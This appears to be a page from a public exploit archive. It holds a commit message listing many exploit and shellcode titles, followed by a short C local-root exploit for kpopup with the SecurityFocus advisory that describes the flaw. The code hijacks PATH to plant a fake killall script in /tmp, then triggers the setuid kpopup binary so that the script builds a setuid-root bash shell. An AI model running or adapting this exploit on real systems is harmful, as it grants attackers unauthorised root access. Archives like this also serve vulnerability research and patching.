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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
37 lines
No EOL
1.9 KiB
C
37 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/8915/info
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It has been alleged that it is possible for local attackers to gain root privileges through kpopup, which is is installed setuid root by default. According to the report, kpopup uses the system(3) C-library function insecurely to run other utilities on the system. In at least one instance, system(3) is called to invoke the binary killall(1) in a manner relying on the PATH environment variable. As the environment can be set by the unprivileged user when kpopup is executed, an arbitrary executable with the filename killall(1) can be executed. Many modern shells anticipate insecure use of this function by setuid/setgid processes and drop effective privileges if they do not match the real userid/gid of the process. It may be the case that kpopup first sets its real uid and gid to 0 before calling system, making this vulnerability exploitable. This has not been confirmed by Symantec.
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/*Local root exploit for kpopup
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*by b0f www.b0f.net
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*/
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#include <stdio.h>
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int main()
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{
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setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
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/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
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FILE *fd;
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fd = fopen("/tmp/killall", "w");{
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fprintf(fd, "#!/bin/sh\n");
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fprintf(fd, "cd /tmp\n");
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fprintf(fd, "/bin/cat > shell.c << EOF\n");
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fprintf(fd, "#include <stdio.h>\n");
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fprintf(fd, "int main()\n");
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fprintf(fd, "{\n");
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fprintf(fd, "setuid(0);\n");
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fprintf(fd, "setgid(0);\n");
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fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
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fprintf(fd, "return 0;\n");
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fprintf(fd, "}\n");
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fprintf(fd, "EOF\n");
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fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
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fprintf(fd, "/bin/chown root.root /tmp/shell\n");
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fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
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fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
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fprintf(fd, "/tmp/shell\n");
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fclose(fd);
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system("chmod +x /tmp/killall");
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system("/usr/local/kde/bin/kpopup root shell");
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return 0;
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}
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} |